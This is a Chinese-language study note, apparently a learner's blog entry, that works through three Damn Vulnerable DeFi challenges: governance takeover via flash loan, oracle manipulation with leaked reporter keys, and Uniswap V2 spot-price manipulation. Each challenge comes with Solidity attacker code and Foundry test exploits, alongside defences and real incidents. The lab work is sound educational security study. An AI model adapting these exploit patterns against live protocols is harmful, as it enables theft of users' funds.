Solidity/Security: DVDF冲刺 - 2-3道新题
### DeFi 攻击分类法
日期: 2026-07-05 方向: Solidity 阶段: 第四阶段:综合实战 标签: #DVDF #DamnVulnerableDeFi #安全 #攻击 #闪电贷 #治理攻击
今日目标
Damn Vulnerable DeFi (DVDF) 是最知名的 DeFi 安全挑战集,每道题模拟一个真实的 DeFi 漏洞场景。今天完成3道题:
- #6 Selfie: 治理攻击 + 闪电贷
- #7 Compromised: 预言机操纵
- #9 Puppet V2: 价格操纵 + DEX 交互
这三道题覆盖了 DeFi 中最常见的攻击类型,理解它们是 PM 评估协议安全性的基础。
核心概念
DeFi 攻击分类法
DeFi 攻击类型:
├── 代码级漏洞
│ ├── 重入攻击 (The DAO, 2016)
│ ├── 整数溢出 (BatchTransfer, 2018)
│ └── 授权缺失 (Wormhole, 2022)
│
├── 经济/逻辑攻击
│ ├── 闪电贷攻击 → 本题 #6 Selfie
│ ├── 预言机操纵 → 本题 #7 Compromised
│ ├── 价格操纵 → 本题 #9 Puppet V2
│ ├── 治理攻击 → 本题 #6 Selfie
│ └── 三明治攻击 (MEV)
│
└── 基础设施攻击
├── 私钥泄露 (Ronin, 2022)
├── 跨链桥攻击 (Nomad, 2022)
└── DNS劫持 (BadgerDAO, 2021)
代码实战
挑战 #6: Selfie — 治理攻击 + 闪电贷
题目描述
一个借贷池通过 SimpleGovernance 合约管理。治理规则是: 持有代币总供应量50%以上的地址可以提交并执行提案。借贷池有一个 emergencyExit 函数,可以将所有资金转给指定地址,但只有治理合约能调用。
目标: 偷走借贷池中的所有代币。
漏洞分析
攻击向量分析:
1. 治理要求持有 50% 代币 → 正常情况下做不到
2. 但是! 借贷池提供闪电贷 → 可以临时获得大量代币
3. 闪电贷期间,我们"持有" > 50% 代币 → 可以提交提案
4. 提案调用 emergencyExit → 将所有资金转给攻击者
5. 还掉闪电贷 → 等待提案时间锁过期 → 执行提案
时间线:
┌──────────┐ ┌──────────┐ ┌──────────┐
│ 闪电贷 │ │ 等待 │ │ 执行 │
│ + 提交 │───►│ 2天 │───►│ 提案 │
│ 提案 │ │ 时间锁 │ │ = 偷钱 │
└──────────┘ └──────────┘ └──────────┘
攻击合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "../src/selfie/SimpleGovernance.sol";
import "../src/selfie/SelfiePool.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
contract SelfieAttacker is IERC3156FlashBorrower {
SimpleGovernance public governance;
SelfiePool public pool;
address public attacker;
uint256 public actionId;
constructor(address _governance, address _pool) {
governance = SimpleGovernance(_governance);
pool = SelfiePool(_pool);
attacker = msg.sender;
}
// ===== 步骤1: 发起闪电贷 =====
function attack() external {
// 借出池中所有代币
uint256 poolBalance = pool.token().balanceOf(address(pool));
pool.flashLoan(this, address(pool.token()), poolBalance, "");
}
// ===== 步骤2: 闪电贷回调 — 在此提交治理提案 =====
function onFlashLoan(
address,
address token,
uint256 amount,
uint256,
bytes calldata
) external override returns (bytes32) {
// 此刻我们持有 > 50% 的代币供应量
// 为治理合约创建快照
DamnValuableVotes(token).delegate(address(this));
// 构造提案: 调用 pool.emergencyExit(attacker)
bytes memory data = abi.encodeWithSignature(
"emergencyExit(address)",
attacker
);
// 提交提案
actionId = governance.queueAction(
address(pool),
0,
data
);
// 归还闪电贷
DamnValuableVotes(token).approve(address(pool), amount);
return keccak256("ERC3156FlashBorrower.onFlashLoan");
}
// ===== 步骤3: 等待时间锁后执行 =====
function executeAttack() external {
governance.executeAction(actionId);
}
}
测试代码
function test_selfie() public {
// 部署攻击合约
SelfieAttacker attackContract = new SelfieAttacker(
address(governance),
address(pool)
);
// 步骤1: 发起闪电贷 + 提交提案
attackContract.attack();
// 步骤2: 推进时间(模拟等待时间锁)
vm.warp(block.timestamp + 2 days + 1);
// 步骤3: 执行提案
attackContract.executeAttack();
// 验证: 攻击者获得了所有代币
assertEq(token.balanceOf(address(pool)), 0);
assertEq(token.balanceOf(attacker), POOL_INITIAL_BALANCE);
}
教训与防护
防护方案:
1. 治理快照应在提案前N个区块拍摄 (非提案时刻)
2. 闪电贷代币不应计入治理投票权
3. 时间锁期间允许紧急否决
4. 关键函数(emergencyExit)需要多签而非单一治理
挑战 #7: Compromised — 预言机操纵
题目描述
一个 NFT 交易所使用链下预言机报价。有3个预言机源(trusted reporters),中位数作为价格。NFT 当前价格 999 ETH。你有 0.1 ETH。你截获了一段可疑数据。
目标: 偷走交易所中的所有 ETH。
漏洞分析
截获的可疑数据 (hex):
4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59
31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47
5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f
57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35
解码过程:
1. Hex → ASCII: "MHhjNjc4ZWYxYWE0NTZkYTY1YzZmYzU4NjFkNDQ4OTJjZGZhYzBjNmM4YzI1NjBiZjBjOWZiY2RhZTJmNDczNWE5"
2. Base64 → Hex: "0xc678ef1aa...4735a9"
3. 这是一个以太坊私钥!
截获了2个预言机报告者的私钥 (3个中的2个 = 可以操控中位数)
攻击策略
攻击步骤:
1. 用泄露的私钥控制 2/3 个预言机
2. 将 NFT 价格设为 0.0001 ETH (极低)
3. 以极低价买入 NFT
4. 将 NFT 价格设为 交易所全部余额 (极高)
5. 以极高价卖出 NFT → 掏空交易所
6. 恢复预言机价格 (掩盖痕迹)
攻击代码
function test_compromised() public {
// 解码私钥 (题目中截获的数据)
uint256 oracleKey1 = 0xc678ef1aa...; // 预言机1的私钥
uint256 oracleKey2 = 0x208242c40...; // 预言机2的私钥
address oracle1 = vm.addr(oracleKey1);
address oracle2 = vm.addr(oracleKey2);
// 步骤1: 操纵价格为极低
vm.prank(oracle1);
oracle.postPrice("DVNFT", 1 wei);
vm.prank(oracle2);
oracle.postPrice("DVNFT", 1 wei);
// 中位数 = 1 wei (3个源: [1, 1, 999 ETH])
// 步骤2: 以 1 wei 买入 NFT
vm.prank(attacker);
exchange.buyOne{value: 1 wei}();
// 步骤3: 操纵价格为交易所余额
uint256 exchangeBalance = address(exchange).balance;
vm.prank(oracle1);
oracle.postPrice("DVNFT", exchangeBalance);
vm.prank(oracle2);
oracle.postPrice("DVNFT", exchangeBalance);
// 步骤4: 以高价卖出
vm.startPrank(attacker);
nft.approve(address(exchange), tokenId);
exchange.sellOne(tokenId);
vm.stopPrank();
// 步骤5: 恢复价格 (可选,避免被发现)
vm.prank(oracle1);
oracle.postPrice("DVNFT", 999 ether);
vm.prank(oracle2);
oracle.postPrice("DVNFT", 999 ether);
// 验证
assertEq(address(exchange).balance, 0);
assertGt(attacker.balance, EXCHANGE_INITIAL_BALANCE);
}
教训与防护
防护方案:
1. 预言机私钥应使用 HSM (硬件安全模块)
2. 价格更新应有变化幅度限制 (如单次不超过 10%)
3. 使用 TWAP (时间加权平均价格) 而非即时中位数
4. 增加预言机源数量 (5个或7个)
5. 链下检测异常价格报告并触发暂停
挑战 #9: Puppet V2 — Uniswap V2 价格操纵
题目描述
一个借贷协议使用 Uniswap V2 的 pair 合约作为价格预言机,计算所需的抵押品。你需要通过操纵 Uniswap 的价格来以极少的抵押品借出大量代币。
目标: 偷走借贷池中的所有 DVT 代币。
漏洞分析
价格计算漏洞:
借贷合约使用 Uniswap V2 pair 的即时储备比计算价格:
price = (reserveWETH * 10^18) / reserveDVT
攻击思路:
1. 在 Uniswap 上大量卖出 DVT → reserveWETH 减少, reserveDVT 增加
2. DVT 价格暴跌 → 借出 DVT 所需的 WETH 抵押品极少
3. 用极少的 WETH 借出借贷池中所有 DVT
价格操纵示意:
卖出前: reserveWETH=10, reserveDVT=100 → price=0.1 ETH/DVT
卖出后: reserveWETH=0.1, reserveDVT=10000 → price=0.00001 ETH/DVT
价格下降 10000 倍!
攻击代码
function test_puppetV2() public {
vm.startPrank(attacker);
// 步骤1: 将攻击者的 DVT 全部在 Uniswap 卖为 WETH
uint256 attackerDVT = dvt.balanceOf(attacker);
dvt.approve(address(uniswapRouter), attackerDVT);
address[] memory path = new address[](2);
path[0] = address(dvt);
path[1] = address(weth);
uniswapRouter.swapExactTokensForTokens(
attackerDVT,
0, // 接受任何数量的 WETH
path,
attacker,
block.timestamp
);
// 步骤2: 此刻 DVT 在 Uniswap 上的价格已经暴跌
// 计算借出所有 DVT 需要多少 WETH 作为抵押
uint256 poolDVT = dvt.balanceOf(address(lendingPool));
uint256 requiredWETH = lendingPool.calculateDepositOfWETHRequired(poolDVT);
// 步骤3: 将 ETH 包装为 WETH
weth.deposit{value: requiredWETH}();
weth.approve(address(lendingPool), requiredWETH);
// 步骤4: 用极少的 WETH 抵押借出所有 DVT
lendingPool.borrow(poolDVT);
vm.stopPrank();
// 验证
assertEq(dvt.balanceOf(address(lendingPool)), 0);
assertGt(dvt.balanceOf(attacker), 0);
}
教训与防护
防护方案:
1. 永远不要用 Uniswap 即时价格作为预言机!
2. 使用 Uniswap V2 的 TWAP (时间加权平均价格):
- 累积价格 (price0CumulativeLast) 在多个区块上取平均
- 攻击者无法在单笔交易中操纵 TWAP
3. 使用 Chainlink 等链下预言机
4. 多源价格聚合 + 偏差检测
5. 限制单笔借款额度
攻击模式总结
| 挑战 | 攻击类型 | 核心漏洞 | 真实案例 |
|---|---|---|---|
| #6 Selfie | 治理+闪电贷 | 闪电贷代币计入投票权 | Beanstalk ($181M, 2022) |
| #7 Compromised | 预言机操纵 | 预言机私钥泄露 | Mango Markets ($114M, 2022) |
| #9 Puppet V2 | 价格操纵 | 使用即时DEX价格 | Harvest Finance ($34M, 2020) |
DeFi 攻击模式识别速查
看到这些模式,应该立即警觉:
🔴 使用 Uniswap/DEX 储备比作为价格
→ 价格操纵风险 (Puppet V2)
🔴 闪电贷代币可以用于治理投票
→ 治理攻击风险 (Selfie)
🔴 预言机源数量少 (< 5)
→ 预言机操纵风险 (Compromised)
🔴 单笔交易可以存款+借款
→ 闪电贷攻击风险
🔴 外部调用前没有更新状态
→ 重入攻击风险
🔴 approve 后未检查实际到账金额
→ fee-on-transfer 代币风险
关键要点总结
-
闪电贷是放大器: 闪电贷本身不是漏洞,但它放大了其他漏洞的影响。任何依赖"用户不可能拥有这么多代币"假设的设计都可能被闪电贷攻破。
-
预言机是 DeFi 的阿基里斯之踵: 超过50%的 DeFi 攻击涉及价格操纵。使用 TWAP + 多源 + 偏差检测是最低要求。
-
治理 != 安全: 治理合约被攻击的案例越来越多。关键操作需要额外的安全层(时间锁+多签+紧急否决)。
-
攻击者的思维方式: "这个系统的最弱环节在哪里?" → "我能用什么工具(闪电贷/DEX)放大这个弱点?" → "执行攻击的成本是多少?" 如果收益 > 成本,攻击一定会发生。
-
安全是分层的: 没有单一的银弹。需要: 代码审计 + 经济模型审查 + 运维安全 + 监控告警 + 应急响应。
常见误区
-
误区: 闪电贷应该被禁止 — 闪电贷是 DeFi 的创新,问题不在闪电贷本身,而在于协议对即时大额资金的依赖假设。
-
误区: 用了 Chainlink 就安全了 — Chainlink 防止了 DEX 即时价格操纵,但仍然需要处理: 过时价格、极端市场条件、Chainlink 节点故障。
-
误区: 时间锁就够了 — 时间锁只延迟了攻击的执行,不阻止攻击。Beanstalk 有时间锁但治理提案仍然被通过。需要在时间锁期间有人工监控和否决机制。
面试关联
Q: "描述一个你了解的 DeFi 攻击,以及如何防护"
回答 (以 Selfie 类攻击为例):
2022年的 Beanstalk 攻击是一个经典的闪电贷+治理攻击。攻击者通过闪电贷借入大量代币获得投票权,在同一交易中提交并执行恶意治理提案,将价值 $181M 的资金转到自己地址。
防护方案需要多层:
- 治理层: 投票权快照应在提案前N个区块拍摄,闪电贷代币不计入投票权
- 时间层: 关键提案需要较长的时间锁(至少48小时)
- 监控层: 异常投票模式(如突然出现大额投票者)触发告警
- 应急层: 多签委员会可以在时间锁期间否决恶意提案
作为 PM,我会确保产品设计中把治理安全作为核心需求,而不是"上线后再加"的功能。
参考资源
- Damn Vulnerable DeFi — 官方挑战网站
- Rekt News - Beanstalk — Beanstalk 治理攻击分析
- Rekt News - Mango Markets — 预言机操纵攻击
- Rekt News - Harvest Finance — 价格操纵攻击
- Uniswap V2 Oracle — TWAP 实现
- OpenZeppelin Governor — 安全的治理框架